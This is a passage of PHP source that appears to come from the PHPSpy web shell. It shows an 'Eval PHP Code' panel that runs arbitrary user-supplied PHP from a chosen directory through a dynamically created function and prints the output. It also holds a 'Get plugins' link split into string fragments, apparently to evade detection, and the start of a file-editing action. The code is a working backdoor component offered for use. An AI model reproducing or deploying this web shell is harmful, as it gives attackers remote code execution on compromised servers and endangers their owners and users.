        $codev = $f("", "chdir(\"{$setrunfrom}\");?" . ">\n{$phpcode}<?php\nchdir(\"{$nowpath}\");");
        ob_start();
        $codev();
        $laevdata = ob_get_contents();
        ob_end_clean();
        echo closetags($laevdata);
    }
    formhead(array('title' => "Eval PHP Code"));
    makehide('action', 'laev');
    $phpcode = $phpcode == "" ? "<" . "?PHP\n\n\n\n?" . ">" : $phpcode;
    makeinput(array('title' => 'Run From Directory:', 'name' => 'setrunfrom', 'type' => 'text', 'value' => $setrunfrom != "" ? $setrunfrom : str_replace("\\", "/", dirname(__FILE__)) . "/"));
    maketext(array('title' => 'PHP Code', 'name' => 'phpcode', 'dataeditor' => 'php', 'value' => htmlspecialchars($phpcode)));
    p('<p><a href="http://w' . 'ww.4ng' . 'el.net/php' . 'spy/pl' . 'ugin/" target="_blank">Get plugins</a></p>');
    p('<script src="http://ajaxorg.github.io/ace-builds/src-noconflict/ace.js"></script>');
    printaceext();
    if (!$mobile) {
        p('<script>var l=document.getElementsByTagName("textarea");for(i=0;i<l.length;++i){if(l[i].hasAttribute("data-editor")){var e=l[i];var t=e.getAttribute("data-editor");var n=document.createElement("div");n.style.cssText="width:"+e.clientWidth+"px;height:"+e.clientHeight+"px;";n.className=e.className;e.parentNode.insertBefore(n,e);e.style.cssText="display:none;";var r=ace.edit(n);r.renderer.setShowGutter(true);r.getSession().setValue(e.value);var i=ace.require("ace/ext/modelist");var s=i.getModeForPath("example.php").mode;r.getSession().setMode(s);r.setTheme("ace/theme/dreamweaver");e.form.onsubmit=function(t){window.onbeforeunload = null;e.value=r.getSession().getValue()}}}</script>');
    }
    formfooter();
} elseif ($action == 'editfile') {
    if (file_exists($opfile)) {